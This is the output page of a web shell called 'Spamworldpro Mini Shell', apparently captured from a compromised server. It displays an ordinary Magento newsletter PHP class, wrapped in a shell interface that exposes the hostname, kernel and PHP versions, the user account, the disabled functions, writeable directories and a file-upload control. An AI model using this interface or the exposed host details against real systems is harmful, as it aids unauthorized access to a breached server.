Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-newsletter/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-newsletter/Model/GuestSubscriptionChecker.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Newsletter\Model;

use Magento\Framework\App\ResourceConnection;
use Magento\Store\Model\StoreManagerInterface;

/**
 * Checks guest subscription by email.
 */
class GuestSubscriptionChecker
{
    /**
     * @var ResourceConnection
     */
    private $resourceConnection;

    /**
     * @var StoreManagerInterface
     */
    private $storeManager;

    /**
     * @param ResourceConnection $resourceConnection
     * @param StoreManagerInterface $storeManager
     */
    public function __construct(ResourceConnection $resourceConnection, StoreManagerInterface $storeManager)
    {
        $this->resourceConnection = $resourceConnection;
        $this->storeManager = $storeManager;
    }

    /**
     * Check is subscribed by email
     *
     * @param string $subscriberEmail
     * @return bool
     */
    public function isSubscribed(string $subscriberEmail): bool
    {
        if (!empty($subscriberEmail)) {
            $storeIds = $this->storeManager->getWebsite()->getStoreIds();
            $connection = $this->resourceConnection->getConnection();
            $select = $connection
                ->select()
                ->from($this->resourceConnection->getTableName('newsletter_subscriber'))
                ->where('subscriber_email = ?', $subscriberEmail)
                ->where('store_id IN (?)', $storeIds)
                ->where('customer_id = 0')
                ->limit(1);

            return (bool)$connection->fetchOne($select);
        }

        return false;
    }
}

Spamworldpro Mini